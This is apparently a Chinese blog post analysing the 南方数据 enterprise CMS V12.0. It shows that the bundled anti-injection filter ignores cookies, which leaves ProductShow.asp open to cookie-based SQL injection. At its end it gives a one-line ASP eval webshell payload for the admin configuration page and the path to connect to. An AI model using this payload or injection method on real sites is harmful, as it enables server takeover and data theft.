由于工作关系上网找企业站的源码,发现一个南方数据企业网站管理系统免费版 V12.0 样子不错 功能也符合要求 就下了回来看看,发现一些问题,随便谈谈,也不知道前人有没有发过
粗略的看了下 存在问题的文件有
DownloadShow.asp
Shownews.asp
ProductShow.asp
等等估计还有好多,没仔细看
这几个文件在顶部都有
<!–#Include File=”inc/Check_Sql.asp”–>
防注入系统,先看下源码
<%
‘——–版权说明——————
‘SQL通用防注入程序 V2.0 完美版
‘——–定义部份——————
Dim Fy_Post,Fy_Get,Fy_In,Fy_Inf,Fy_Xh,Fy_db,Fy_dbstr
‘自定义需要过滤的字串,用 “|” 分隔
Fy_In = “‘|;|and|exec|insert|select|delete|update|count|*|%|chr|mid|master|truncate|char|declare”
‘———————————-
%>
<%
Fy_Inf = split(Fy_In,”|”)
‘——–POST部份——————
If Request.Form<>”" Then
For Each Fy_Post In Request.Form
For Fy_Xh=0 To Ubound(Fy_Inf)
If Instr(LCase(Request.Form(Fy_Post)),Fy_Inf(Fy_Xh))<>0 Then
‘——–写入数据库–头——–
Conn.Execute(“insert into 0791idc_CheckSql(Sqlin_IP,SqlIn_Web,SqlIn_FS,SqlIn_CS,SqlIn_SJ) values(‘”&Request.ServerVariables(“REMOTE_ADDR”)&”‘,’”&Request.ServerVariables(“URL”)&”‘,’POST’,'”&Fy_Post&”‘,’”&replace(Request.Form(Fy_Post),”‘”,”””)&”‘)”)
Conn.close
Set Conn = Nothing
‘——–写入数据库–尾——–
Response.Write “<Script Language=JavaScript>alert(‘严重警告:请不要在参数中包含非法字符尝试注入!’);</Script>”
Response.Write “非法操作:系统做了如下记录<br>”
Response.Write “操作IP:”&Request.ServerVariables(“REMOTE_ADDR”)&”<br>”
Response.Write “操作时间:”&Now&”<br>”
Response.Write “操作页面:”&Request.ServerVariables(“URL”)&”<br>”
Response.Write “提交方式:POST<br>”
Response.Write “提交参数:”&Fy_Post&”<br>”
Response.Write “提交数据:”&Request.Form(Fy_Post)
Response.End
End If
Next
Next
End If
‘———————————-
‘——–GET部份——————-
If Request.QueryString<>”" Then
For Each Fy_Get In Request.QueryString
For Fy_Xh=0 To Ubound(Fy_Inf)
If Instr(LCase(Request.QueryString(Fy_Get)),Fy_Inf(Fy_Xh))<>0 Then
‘——–写入数据库–头——–
Conn.Execute(“insert into 0791idc_CheckSql(Sqlin_IP,SqlIn_Web,SqlIn_FS,SqlIn_CS,SqlIn_SJ) values(‘”&Request.ServerVariables(“REMOTE_ADDR”)&”‘,’”&Request.ServerVariables(“URL”)&”‘,’GET’,'”&Fy_Get&”‘,’”&replace(Request.QueryString(Fy_Get),”‘”,”””)&”‘)”)
Conn.close
Set Conn = Nothing
‘——–写入数据库–尾——–
Response.Write “<Script Language=JavaScript>alert(‘严重警告:请不要在参数中包含非法字符尝试注入!’);</Script>”
Response.Write “非法操作:系统做了如下记录<br>”
Response.Write “操作IP:”&Request.ServerVariables(“REMOTE_ADDR”)&”<br>”
Response.Write “操作时间:”&Now&”<br>”
Response.Write “操作页面:”&Request.ServerVariables(“URL”)&”<br>”
Response.Write “提交方式:GET<br>”
Response.Write “提交参数:”&Fy_Get&”<br>”
Response.Write “提交数据:”&Request.QueryString(Fy_Get)
Response.End
End If
Next
Next
End If
%>
只对post和get提交的数据做了过滤而忘记了cookies
再来看一下存在问题的这些文件
ProductShow.asp 66-74行
dim ID
ID=replace(Trim(request(“ID”)),”‘”,”")
if ID=”" then
response.Redirect(“Product.asp”)
end if
sql=”select * from 0791idc_Product where ID=” & ID & “”
Set rs= Server.CreateObject(“ADODB.Recordset”)
rs.open sql,conn,1,3
可以看到id是用request方式获得的,而且对ID只做了简单的过滤单引号处理
也就是说可以通过cookies提交ID进行注入
具体注入过程就不再累述了,网上关于cookies注入的教程一堆一堆的
关于拿shell
这个就更简单
进后台 系统管理 网站配置
随便找个地方修改成
“%><%eval request(“x”)%><%Const nidaye=”xzlbb.com
然后用一句话客户端连接http://目标网站/inc/config.asp就行了